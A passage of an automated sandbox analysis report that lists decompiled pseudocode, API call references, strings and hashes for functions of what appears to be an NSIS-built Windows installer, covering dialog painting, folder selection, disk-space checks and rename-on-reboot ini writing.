					_t92 = GetSysColor( ~_t92);
				}
				SendMessageW(_t118, 0x443, 0, _t92);
				SendMessageW(_t118, 0x445, 0, 0x4010000);
				SendMessageW(_t118, 0x435, 0, lstrlenW(_a16));
				 *0x4366f4 = 0;
				SendMessageW(_t118, 0x449, _a8,  &_v16);
				 *0x4366f4 = 0;
				return 0;
			}

0x00404530
0x0040465d
0x004046ba
0x004046be
0x0040478b
0x0040478d
0x0040478d
0x00404793
0x00404793
0x00404796
0x00000000
0x0040479d
0x004046cc
0x004046d2
0x004046dc
0x004046e7
0x004046ea
0x004046ed
0x004046f8
0x004046fb
0x00404702
0x0040470f
0x00404720
0x00404726
0x0040472e
0x0040473c
0x00404742
0x00404742
0x00404702
0x0040474c
0x00000000
0x00404757
0x0040475b
0x0040476b
0x0040476b
0x00404771
0x0040477d
0x0040477d
0x00000000
0x00404781
0x0040474c
0x00404668
0x00000000
0x0040467a
0x0040467f
0x00404685
0x00000000
0x00000000
0x004046ae
0x004046b0
0x004046b5
0x00000000
0x004046b5
0x00404668
0x00404536
0x00404539
0x0040453e
0x0040454f
0x0040454f
0x00404557
0x0040455a
0x0040455e
0x00404561
0x00404565
0x00404568
0x0040456b
0x0040456e
0x00404575
0x00404577
0x00404577
0x00404581
0x0040458e
0x00404598
0x0040459d
0x004045a0
0x004045a5
0x004045bc
0x004045c3
0x004045d6
0x004045d9
0x004045ed
0x004045f4
0x004045f9
0x004045fe
0x004045fe
0x0040460c
0x0040461a
0x0040462c
0x00404631
0x00404641
0x00404643
0x00000000

APIs

CheckDlgButton.USER32 ref: 004045BC
GetDlgItem.USER32 ref: 004045D0
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004045ED
GetSysColor.USER32(?), ref: 004045FE
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040460C
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040461A
lstrlenW.KERNEL32(?), ref: 0040461F
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040462C
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404641
GetDlgItem.USER32 ref: 0040469A
SendMessageW.USER32(00000000), ref: 004046A1
GetDlgItem.USER32 ref: 004046CC
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040470F
LoadCursorW.USER32(00000000,00007F02), ref: 0040471D
SetCursor.USER32(00000000), ref: 00404720
LoadCursorW.USER32(00000000,00007F00), ref: 00404739
SetCursor.USER32(00000000), ref: 0040473C
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040476B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040477D

Strings

ExecToStack, xrefs: 004046FB
N, xrefs: 004046BA

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: ExecToStack$N
API String ID: 3103080414-2616698697
Opcode ID: ee6812b55728e13701025233a8a1636c33168640e361f3cefbda46e1e37430c8
Instruction ID: 4cd1da19937af119875355adca30567c2743cec9092c6b5b68c8bc3b1ab06c36
Opcode Fuzzy Hash: ee6812b55728e13701025233a8a1636c33168640e361f3cefbda46e1e37430c8
Instruction Fuzzy Hash: 176181B1900209BFDB109F60DD85EAA7B69FB84354F00853AFB05B72E1DB789D51CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
				struct tagLOGBRUSH _v16;
				struct tagRECT _v32;
				struct tagPAINTSTRUCT _v96;
				struct HDC__* _t70;
				struct HBRUSH__* _t87;
				struct HFONT__* _t94;
				long _t102;
				signed int _t126;
				struct HDC__* _t128;
				intOrPtr _t130;

				if(_a8 == 0xf) {
					_t130 =  *0x470254;
					_t70 = BeginPaint(_a4,  &_v96);
					_v16.lbStyle = _v16.lbStyle & 0x00000000;
					_a8 = _t70;
					GetClientRect(_a4,  &_v32);
					_t126 = _v32.bottom;
					_v32.bottom = _v32.bottom & 0x00000000;
					while(_v32.top < _t126) {
						_a12 = _t126 - _v32.top;
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
						_t87 = CreateBrushIndirect( &_v16);
						_v32.bottom = _v32.bottom + 4;
						_a16 = _t87;
						FillRect(_a8,  &_v32, _t87);
						DeleteObject(_a16);
						_v32.top = _v32.top + 4;
					}
					if( *(_t130 + 0x58) != 0xffffffff) {
						_t94 = CreateFontIndirectW( *(_t130 + 0x34));
						_a16 = _t94;
						if(_t94 != 0) {
							_t128 = _a8;
							_v32.left = 0x10;
							_v32.top = 8;
							SetBkMode(_t128, 1);
							SetTextColor(_t128,  *(_t130 + 0x58));
							_a8 = SelectObject(_t128, _a16);
							DrawTextW(_t128, 0x468240, 0xffffffff,  &_v32, 0x820);
							SelectObject(_t128, _a8);
							DeleteObject(_a16);
						}
					}
					EndPaint(_a4,  &_v96);
					return 0;
				}
				_t102 = _a16;
				if(_a8 == 0x46) {
					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
					 *((intOrPtr*)(_t102 + 4)) =  *0x470248;
				}
				return DefWindowProcW(_a4, _a8, _a12, _t102);
			}

0x0040100a
0x00401039
0x00401047
0x0040104d
0x00401051
0x0040105b
0x00401061
0x00401064
0x004010f3
0x00401089
0x0040108c
0x004010a6
0x004010bd
0x004010cc
0x004010cf
0x004010d5
0x004010d9
0x004010e4
0x004010ed
0x004010ef
0x004010ef
0x00401100
0x00401105
0x0040110d
0x00401110
0x00401112
0x00401118
0x0040111f
0x00401126
0x00401130
0x00401142
0x00401156
0x00401160
0x00401165
0x00401165
0x00401110
0x0040116e
0x00000000
0x00401178
0x00401010
0x00401013
0x00401015
0x0040101f
0x0040101f
0x00000000

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32 ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32 ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00468240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: d1a6ac0749d5adbba1104fe8f7c5c271f621e3b3c45a8bc66e6bce868fb748d7
Instruction ID: 5ab7a9dfb5d1aa1389ec6db6610c78830fc9e5957017c9b4d31100662f95375f
Opcode Fuzzy Hash: d1a6ac0749d5adbba1104fe8f7c5c271f621e3b3c45a8bc66e6bce868fb748d7
Instruction Fuzzy Hash: 14418C71800209AFCF058F95DE459AF7BB9FF44314F00842EF591AA1A0CB78D954DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00404850 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 275
stringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00404850(unsigned int __edx, struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				long _v16;
				long _v20;
				long _v24;
				char _v28;
				intOrPtr _v32;
				long _v36;
				char _v40;
				unsigned int _v44;
				signed int _v48;
				WCHAR* _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				WCHAR* _v72;
				void _v76;
				struct HWND__* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t82;
				long _t87;
				short* _t89;
				void* _t95;
				signed int _t96;
				int _t109;
				signed short _t114;
				signed int _t118;
				struct HWND__** _t122;
				intOrPtr* _t138;
				WCHAR* _t146;
				unsigned int _t150;
				signed int _t152;
				unsigned int _t156;
				signed int _t158;
				signed int* _t159;
				signed int* _t160;
				struct HWND__* _t166;
				struct HWND__* _t167;
				int _t169;
				unsigned int _t197;

				_t156 = __edx;
				_t82 =  *0x43e700;
				_v32 = _t82;
				_t146 = ( *(_t82 + 0x3c) << 0xe) + L"start OK\r\n";
				_v12 =  *((intOrPtr*)(_t82 + 0x38));
				if(_a8 == 0x40b) {
					E00405A32(0x3fb, _t146);
					E0040667C(_t146);
				}
				_t167 = _a4;
				if(_a8 != 0x110) {
					L8:
					if(_a8 != 0x111) {
						L20:
						if(_a8 == 0x40f) {
							L22:
							_v8 = _v8 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							E00405A32(0x3fb, _t146);
							if(E00405DC5(_t186, _t146) == 0) {
								_v8 = 1;
							}
							E004063E8(0x4366f8, _t146);
							_t87 = E004067C2(1);
							_v16 = _t87;
							if(_t87 == 0) {
								L30:
								E004063E8(0x4366f8, _t146);
								_t89 = E00405D68(0x4366f8);
								_t158 = 0;
								if(_t89 != 0) {
									 *_t89 = 0;
								}
								if(GetDiskFreeSpaceW(0x4366f8,  &_v20,  &_v24,  &_v16,  &_v36) == 0) {
									goto L35;
								} else {
									_t169 = 0x400;
									_t109 = MulDiv(_v20 * _v24, _v16, 0x400);
									asm("cdq");
									_v48 = _t109;
									_v44 = _t156;
									_v12 = 1;
									goto L36;
								}
							} else {
								_t159 = 0;
								if(0 == 0x4366f8) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t114 = _v16(0x4366f8,  &_v48,  &_v28,  &_v40);
									if(_t114 != 0) {
										break;
									}
									if(_t159 != 0) {
										 *_t159 =  *_t159 & _t114;
									}
									_t160 = E00405D09(0x4366f8);
									 *_t160 =  *_t160 & 0x00000000;
									_t159 = _t160;
									 *_t159 = 0x5c;
									if(_t159 != 0x4366f8) {
										continue;
									} else {
										goto L30;
									}
								}
								_t150 = _v44;
								_v48 = (_t150 << 0x00000020 | _v48) >> 0xa;
								_v44 = _t150 >> 0xa;
								_v12 = 1;
								_t158 = 0;
								__eflags = 0;
								L35:
								_t169 = 0x400;
								L36:
								_t95 = E00404CED(5);
								if(_v12 != _t158) {
									_t197 = _v44;
									if(_t197 <= 0 && (_t197 < 0 || _v48 < _t95)) {
										_v8 = 2;
									}
								}
								if( *((intOrPtr*)( *0x46821c + 0x10)) != _t158) {
									E00404CD5(0x3ff, 0xfffffffb, _t95);
									if(_v12 == _t158) {
										SetDlgItemTextW(_a4, _t169, 0x4366e8);
									} else {
										E00404C0C(_t169, 0xfffffffc, _v48, _v44);
									}
								}
								_t96 = _v8;
								 *0x470304 = _t96;
								if(_t96 == _t158) {
									_v8 = E0040140B(7);
								}
								if(( *(_v32 + 0x14) & _t169) != 0) {
									_v8 = _t158;
								}
								E00404381(0 | _v8 == _t158);
								if(_v8 == _t158 &&  *0x446718 == _t158) {
									E004047A9();
								}
								 *0x446718 = _t158;
								goto L53;
							}
						}
						_t186 = _a8 - 0x405;
						if(_a8 != 0x405) {
							goto L53;
						}
						goto L22;
					}
					_t118 = _a12 & 0x0000ffff;
					if(_t118 != 0x3fb) {
						L12:
						if(_t118 == 0x3e9) {
							_t152 = 7;
							memset( &_v76, 0, _t152 << 2);
							_v80 = _t167;
							_v72 = 0x446728;
							_v60 = E00404BA6;
							_v56 = _t146;
							_v68 = E0040640A(_t146, 0x446728, _t167, 0x43a700, _v12);
							_t122 =  &_v80;
							_v64 = 0x41;
							__imp__SHBrowseForFolderW(_t122);
							if(_t122 == 0) {
								_a8 = 0x40f;
							} else {
								__imp__CoTaskMemFree(_t122);
								E00405CBD(_t146);
								_t125 =  *((intOrPtr*)( *0x470254 + 0x11c));
								if( *((intOrPtr*)( *0x470254 + 0x11c)) != 0 && _t146 == 0x4c5000) {
									E0040640A(_t146, 0x446728, _t167, 0, _t125);
									if(lstrcmpiW(0x4601e0, 0x446728) != 0) {
										lstrcatW(_t146, 0x4601e0);
									}
								}
								 *0x446718 =  *0x446718 + 1;
								SetDlgItemTextW(_t167, 0x3fb, _t146);
							}
						}
						goto L20;
					}
					if(_a12 >> 0x10 != 0x300) {
						goto L53;
					}
					_a8 = 0x40f;
					goto L12;
				} else {
					_t166 = GetDlgItem(_t167, 0x3fb);
					if(E00405D34(_t146) != 0 && E00405D68(_t146) == 0) {
						E00405CBD(_t146);
					}
					 *0x468218 = _t167;
					SetWindowTextW(_t166, _t146);
					_push( *((intOrPtr*)(_a16 + 0x34)));
					_push(1);
					E0040435F(_t167);
					_push( *((intOrPtr*)(_a16 + 0x30)));
					_push(0x14);
					E0040435F(_t167);
					E00404394(_t166);
					_t138 = E004067C2(7);
					if(_t138 == 0) {
						L53:
						return E004043C6(_a8, _a12, _a16);
					} else {
						 *_t138(_t166, 1);
						goto L8;
					}
				}
			}

0x00404850
0x00404856
0x0040485c
0x00404869
0x00404877
0x0040487a
0x00404882
0x00404888
0x00404888
0x00404894
0x00404897
0x00404905
0x0040490c
0x004049e3
0x004049ea
0x004049f9
0x004049f9
0x004049fd
0x00404a07
0x00404a14
0x00404a16
0x00404a16
0x00404a24
0x00404a2b
0x00404a32
0x00404a35
0x00404a71
0x00404a73
0x00404a79
0x00404a7e
0x00404a82
0x00404a84
0x00404a84
0x00404aa0
0x00000000
0x00404aa2
0x00404aa5
0x00404ab3
0x00404ab9
0x00404aba
0x00404abd
0x00404ac0
0x00000000
0x00404ac0
0x00404a37
0x00404a39
0x00404a3d
0x00000000
0x00000000
0x00000000
0x00000000
0x00404a3f
0x00404a3f
0x00404a4c
0x00404a51
0x00000000
0x00000000
0x00404a55
0x00404a57
0x00404a57
0x00404a60
0x00404a62
0x00404a67
0x00404a6a
0x00404a6f
0x00000000
0x00000000
0x00000000
0x00000000
0x00404a6f
0x00404acc
0x00404ad6
0x00404ad9
0x00404adc
0x00404ae3
0x00404ae3
0x00404ae5
0x00404ae5
0x00404aea
0x00404aec
0x00404af4
0x00404afb
0x00404afd
0x00404b08
0x00404b08
0x00404afd
0x00404b18
0x00404b22
0x00404b2a
0x00404b45
0x00404b2c
0x00404b35
0x00404b35
0x00404b2a
0x00404b4a
0x00404b4f
0x00404b54
0x00404b5d
0x00404b5d
0x00404b66
0x00404b68
0x00404b68
0x00404b74
0x00404b7c
0x00404b86
0x00404b86
0x00404b8b
0x00000000
0x00404b8b
0x00404a35
0x004049ec
0x004049f3
0x00000000
0x00000000
0x00000000
0x004049f3
0x00404912
0x0040491b
0x00404935
0x0040493a
0x00404944
0x0040494b
0x00404957
0x0040495a
0x0040495d
0x00404964
0x0040496c
0x0040496f
0x00404973
0x0040497a
0x00404982
0x004049dc
0x00404984
0x00404985
0x0040498c
0x00404996
0x0040499e
0x004049ab
0x004049bf
0x004049c3
0x004049c3
0x004049bf
0x004049c8
0x004049d5
0x004049d5
0x00404982
0x00000000
0x0040493a
0x00404928
0x00000000
0x00000000
0x0040492e
0x00000000
0x00404899
0x004048a6
0x004048af
0x004048bc
0x004048bc
0x004048c3
0x004048c9
0x004048d2
0x004048d5
0x004048d8
0x004048e0
0x004048e3
0x004048e6
0x004048ec
0x004048f3
0x004048fa
0x00404b91
0x00404ba3
0x00404900
0x00404903
0x00000000
0x00404903
0x004048fa

APIs

GetDlgItem.USER32 ref: 0040489F
SetWindowTextW.USER32(00000000,?), ref: 004048C9
SHBrowseForFolderW.SHELL32(?), ref: 0040497A
CoTaskMemFree.OLE32(00000000), ref: 00404985
lstrcmpiW.KERNEL32(ExecToStack,00446728,00000000,?,?), ref: 004049B7
lstrcatW.KERNEL32(?,ExecToStack), ref: 004049C3
SetDlgItemTextW.USER32 ref: 004049D5

Part of subcall function 00405A32: GetDlgItemTextW.USER32(?,?,00002000,00404A0C), ref: 00405A45

Part of subcall function 0040667C: CharNextW.USER32(?,*?|<>/":,00000000,00000000,004D5000,004D5000,004C1000,00403480,004D5000,746AFAA0,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
Part of subcall function 0040667C: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
Part of subcall function 0040667C: CharNextW.USER32(?,00000000,004D5000,004D5000,004C1000,00403480,004D5000,746AFAA0,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
Part of subcall function 0040667C: CharPrevW.USER32(?,?,004D5000,004D5000,004C1000,00403480,004D5000,746AFAA0,004036EF,?,00000006,00000008,0000000A), ref: 00406706

GetDiskFreeSpaceW.KERNEL32(004366F8,?,?,0000040F,?,004366F8,004366F8,?,00000001,004366F8,?,?,000003FB,?), ref: 00404A98
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404AB3

Part of subcall function 00404C0C: lstrlenW.KERNEL32(00446728,00446728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
Part of subcall function 00404C0C: wsprintfW.USER32 ref: 00404CB6
Part of subcall function 00404C0C: SetDlgItemTextW.USER32 ref: 00404CC9

Strings

(gD, xrefs: 0040494D
A, xrefs: 00404973
start OK, xrefs: 00404869
ExecToStack, xrefs: 004049B1, 004049B6, 004049C1

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (gD$A$ExecToStack$start OK
API String ID: 2624150263-3519445815
Opcode ID: ce9fa2f80e2d72a36f4439ca0a9b4256237b791ea529c161ce0682b1aa97351d
Instruction ID: 9143468ab5d07659f3e28480ae0608f723924ccc95e3ca23e4c22bb38621839a
Opcode Fuzzy Hash: ce9fa2f80e2d72a36f4439ca0a9b4256237b791ea529c161ce0682b1aa97351d
Instruction Fuzzy Hash: 50A161B1900205ABDB11AFA6CD85AAF77B8EF84315F11803BF601B62D1D77C99418F6D

Uniqueness

Uniqueness Score: -1.00%

Function 00406034 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406034(void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t12;
				long _t24;
				char* _t31;
				int _t37;
				void* _t38;
				intOrPtr* _t39;
				long _t42;
				WCHAR* _t44;
				void* _t46;
				void* _t48;
				void* _t49;
				void* _t52;
				void* _t53;

				_t38 = __ecx;
				_t44 =  *(_t52 + 0x14);
				 *0x45edc8 = 0x55004e;
				 *0x45edcc = 0x4c;
				if(_t44 == 0) {
					L3:
					_t12 = GetShortPathNameW( *(_t52 + 0x1c), 0x45f5c8, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						_t37 = wsprintfA(0x45e9c8, "%ls=%ls\r\n", 0x45edc8, 0x45f5c8);
						_t53 = _t52 + 0x10;
						E0040640A(_t37, 0x400, 0x45f5c8, 0x45f5c8,  *((intOrPtr*)( *0x470254 + 0x128)));
						_t12 = E00405EDE(0x45f5c8, 0xc0000000, 4);
						_t48 = _t12;
						 *(_t53 + 0x18) = _t48;
						if(_t48 != 0xffffffff) {
							_t42 = GetFileSize(_t48, 0);
							_t6 = _t37 + 0xa; // 0xa
							_t46 = GlobalAlloc(0x40, _t42 + _t6);
							if(_t46 == 0 || E00405F61(_t48, _t46, _t42) == 0) {
								L18:
								return CloseHandle(_t48);
							} else {
								if(E00405E43(_t38, _t46, "[Rename]\r\n") != 0) {
									_t49 = E00405E43(_t38, _t21 + 0xa, "\n[");
									if(_t49 == 0) {
										_t48 =  *(_t53 + 0x18);
										L16:
										_t24 = _t42;
										L17:
										E00405E99(_t24 + _t46, 0x45e9c8, _t37);
										SetFilePointer(_t48, 0, 0, 0);
										E00405F90(_t48, _t46, _t42 + _t37);
										GlobalFree(_t46);
										goto L18;
									}
									_t39 = _t46 + _t42;
									_t31 = _t39 + _t37;
									while(_t39 > _t49) {
										 *_t31 =  *_t39;
										_t31 = _t31 - 1;
										_t39 = _t39 - 1;
									}
									_t24 = _t49 - _t46 + 1;
									_t48 =  *(_t53 + 0x18);
									goto L17;
								}
								lstrcpyA(_t46 + _t42, "[Rename]\r\n");
								_t42 = _t42 + 0xa;
								goto L16;
							}
						}
					}
				} else {
					CloseHandle(E00405EDE(_t44, 0, 1));
					_t12 = GetShortPathNameW(_t44, 0x45edc8, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						goto L3;
					}
				}
				return _t12;
			}

0x00406034
0x0040603d
0x00406044
0x0040604e
0x00406062
0x0040608a
0x00406095
0x00406099
0x004060b9
0x004060c0
0x004060ca
0x004060d7
0x004060dc
0x004060e1
0x004060e5
0x004060f4
0x004060f6
0x00406103
0x00406107
0x004061a2
0x00000000
0x0040611d
0x0040612a
0x0040614e
0x00406152
0x00406171
0x00406175
0x00406175
0x00406177
0x00406180
0x0040618b
0x00406196
0x0040619c
0x00000000
0x0040619c
0x00406154
0x00406157
0x00406162
0x0040615e
0x00406160
0x00406161
0x00406161
0x00406169
0x0040616b
0x00000000
0x0040616b
0x00406135
0x0040613b
0x00000000
0x0040613b
0x00406107
0x004060e5
0x00406064
0x0040606f
0x00406078
0x0040607c
0x00000000
0x00000000
0x0040607c
0x004061ad

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,004061CF,?,?), ref: 0040606F
GetShortPathNameW.KERNEL32 ref: 00406078

Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

GetShortPathNameW.KERNEL32 ref: 00406095
wsprintfA.USER32 ref: 004060B3
GetFileSize.KERNEL32(00000000,00000000,0045F5C8,C0000000,00000004,0045F5C8,?,?,?,?,?), ref: 004060EE
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 004060FD
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406135
SetFilePointer.KERNEL32(0040A590,00000000,00000000,00000000,00000000,0045E9C8,00000000,-0000000A,0040A590,00000000,[Rename],00000000,00000000,00000000), ref: 0040618B
GlobalFree.KERNEL32 ref: 0040619C
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061A3

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,004DD000,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Strings

[Rename], xrefs: 0040611D, 0040612F
%ls=%ls, xrefs: 004060A9

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: fe35cf331e914c5aa3c4a02719cbd37dbb3514f33eb3a0b2b183894161a2601e
Instruction ID: a59dba961965db3d83d90a372a5cb94a2ead5b1f2218518f4427fddb9e4ed3d0
Opcode Fuzzy Hash: fe35cf331e914c5aa3c4a02719cbd37dbb3514f33eb3a0b2b183894161a2601e
Instruction Fuzzy Hash: 8F312771200705BBE2206B628D48F573A6CEF45745F15043EFA46FA2C3DA7CD91586AD

Uniqueness

Uniqueness Score: -1.00%

Function 004043C6 Relevance: 12.1, APIs: 8, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004043C6(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
				struct tagLOGBRUSH _v16;
				long _t39;
				long _t41;
				void* _t44;
				signed char _t50;
				long* _t54;

				if(_a4 + 0xfffffecd > 5) {
					L18:
					return 0;
				}
				_t54 = GetWindowLongW(_a12, 0xffffffeb);
				if(_t54 == 0 || _t54[2] > 1 || _t54[4] > 2) {
					goto L18;
				} else {
					_t50 = _t54[5];
					if((_t50 & 0xffffffe0) != 0) {
						goto L18;
					}
					_t39 =  *_t54;
					if((_t50 & 0x00000002) != 0) {
						_t39 = GetSysColor(_t39);
					}
					if((_t54[5] & 0x00000001) != 0) {
						SetTextColor(_a8, _t39);
					}
					SetBkMode(_a8, _t54[4]);
					_t41 = _t54[1];
					_v16.lbColor = _t41;
					if((_t54[5] & 0x00000008) != 0) {
						_t41 = GetSysColor(_t41);
						_v16.lbColor = _t41;
					}
					if((_t54[5] & 0x00000004) != 0) {
						SetBkColor(_a8, _t41);
					}
					if((_t54[5] & 0x00000010) != 0) {
						_v16.lbStyle = _t54[2];
						_t44 = _t54[3];
						if(_t44 != 0) {
							DeleteObject(_t44);
						}
						_t54[3] = CreateBrushIndirect( &_v16);
					}
					return _t54[3];
				}
			}

0x004043d8
0x0040448e
0x00000000
0x0040448e
0x004043e9
0x004043ed
0x00000000
0x00404407
0x00404407
0x00404410
0x00000000
0x00000000
0x00404412
0x0040441e
0x00404421
0x00404421
0x00404427
0x0040442d
0x0040442d
0x00404439
0x0040443f
0x00404446
0x00404449
0x0040444c
0x0040444e
0x0040444e
0x00404456
0x0040445c
0x0040445c
0x00404466
0x0040446b
0x0040446e
0x00404473
0x00404476
0x00404476
0x00404486
0x00404486
0x00000000
0x00404489

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043E3
GetSysColor.USER32(00000000), ref: 00404421
SetTextColor.GDI32(?,00000000), ref: 0040442D
SetBkMode.GDI32(?,?), ref: 00404439
GetSysColor.USER32(?), ref: 0040444C
SetBkColor.GDI32(?,?), ref: 0040445C
DeleteObject.GDI32(?), ref: 00404476
CreateBrushIndirect.GDI32(?), ref: 00404480

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

